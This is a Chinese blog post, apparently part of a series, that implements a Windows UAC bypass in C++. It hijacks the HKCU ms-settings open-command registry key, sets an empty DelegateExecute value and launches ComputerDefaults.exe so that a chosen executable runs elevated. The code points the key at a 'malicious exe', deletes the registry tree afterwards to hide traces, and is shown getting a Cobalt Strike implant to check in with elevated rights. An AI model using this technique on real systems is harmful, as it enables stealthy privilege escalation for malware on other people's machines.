关于bypassuac的探究——bypass的实现

经过前面的探究过后,我们整理下思路,首先要创建注册表,并添加DelegateExecute这个键值对,并修改command的指向exe路径即可bypassuac,那么这里用到一下几个函数

RegCreateKeyExA

首先是创建注册表项,对应的是之前创建HKCU\Software\Classes\ms-settings\Shell\Open\command这个路径的操作,这个路径默认情况下是不存在的

LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
);

hkey:句柄

lpSubKey:此函数打开或创建的子项的名称

Reserved:保留参数,必须为0

lpClass:该键的用户定义类类型。可以忽略此参数。此参数可以为NULL

dwOptions:有几个值,使用的时候具体查询

samDesired:指定要创建的密钥的访问权限的掩码

lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针

phkResult:指向接收打开或创建的键的句柄的变量的指针

lpdwDisposition:指向处置值变量的指针

RegSetValueExA

再就是修改注册表项,指向我们的恶意exe路径

LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

hkey:句柄

lpValueName:要设置的值的名称

Reserved:保留参数,必须为0

dwType:lpData参数指向的数据类型

lpData:要存储的数据

cbData:lpData参数指向的信息的大小,以字节为单位

RegDeleteTreeA

执行exe过后我们为了隐蔽最好是删除这个路径,那么就需要用到这个api

LSTATUS RegDeleteTreeA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey
);

hkey:句柄

lpSubKey:密钥的名称

首先创建注册表项

::RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command",
        0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

然后给注册表赋值指向exe路径

::RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenA(filePath) + 1));

添加删除注册表键,即DelegateExecute

RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));

然后调用cmd创建ComputerDefaults.exe这个进程

CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

调用完成之后删除注册表项

RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

这里测试一下,先把路径写成cmd.exe

char filePath[] = "C:\\Windows\\System32\\cmd.exe";

这里cmd的实现成功了,那么直接使用cs的马上线能不能够直接bypassuac呢,实验一下,这里把路径改为cs马的路径

这里为了验证已经bypass了uac,我后面手动自己点了一下cs的木马,第一个就是我们通过我们写的程序上线的,第二个就是直接点击上线的,看一下区别

仔细看的话这里bypass过的右上角有一个*

首先看一下第一个对话

再看下第二个对话,很明显这里已经bypass过了uac

相关推荐
速盾cdn5 分钟前
速盾:CDN缓存的工作原理是什么?
网络·安全·web安全
Chef_Chen7 分钟前
从0开始学习机器学习--Day33--机器学习阶段总结
人工智能·学习·机器学习
IPFoxy66631 分钟前
跨境出海安全:如何防止PayPal账户被风控?
安全
龙信科技32 分钟前
【电子物证培训】龙信助力三明市公安局电子物证取证竞赛
安全
zhd15306915625ff1 小时前
库卡机器人维护需要注意哪些事项
安全·机器人·自动化
hopetomorrow1 小时前
学习路之压力测试--jmeter安装教程
学习·jmeter·压力测试
hopetomorrow1 小时前
学习路之PHP--使用GROUP BY 发生错误 SELECT list is not in GROUP BY clause .......... 解决
开发语言·学习·php
网络安全-杰克1 小时前
网络安全概论
网络·web安全·php
怀澈1221 小时前
高性能服务器模型之Reactor(单线程版本)
linux·服务器·网络·c++
/**书香门第*/1 小时前
Cocos creator 3.8 支持的动画 7
学习·游戏·游戏引擎·游戏程序·cocos2d